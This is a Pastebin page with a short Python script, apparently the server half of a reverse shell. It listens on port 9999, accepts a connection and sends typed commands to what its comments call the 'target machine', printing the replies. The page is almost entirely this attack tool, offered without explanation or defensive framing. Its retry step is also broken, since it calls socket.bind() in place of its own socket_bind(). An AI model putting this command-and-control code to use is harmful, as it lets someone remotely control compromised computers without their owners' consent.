Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import socket
- import sys
- #Socket creation
- def socket_create():
- try:
- global host
- global port
- global s
- host = ''
- port = 9999
- s = socket.socket()
- except socket.error as msg:
- print('[!] Socket creation error: ' + str(msg))
- def socket_bind():
- try:
- global host
- global port
- global s
- print('[+] Binding socket to port: ' + str(port))
- s.bind((host, port)) # Binds host and port and waits for connection from client
- s.listen(5)
- except socket.error as msg: # Displays error message then retrys command
- print('[!] Socket binding error: ' + str(msg) + '\n' + 'Retrying...')
- socket.bind()
- # Established a connection with client (socket must be listening)
- def socket_accept():
- conn, address = s.accept()
- print('Connection has been established\n' + 'IP: ' + address[0] + '\n' + 'Port: ' + str(address[1]))
- send_commands(conn)
- conn.close()
- #Send commands to target machine
- def send_commands(conn):
- while True:
- # what ever written into cmd will become cmd variable
- cmd = input()
- if cmd == 'quit':
- conn.close()
- s.close()
- sys.exit()
- if len(str.encode(cmd)) > 0:
- conn.send(str.encode(cmd))
- client_response = str(conn.recv(1024), 'utf-8')
- print(client_response)
- def main():
- socket_create()
- socket_bind()
- socket_accept()
- main()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement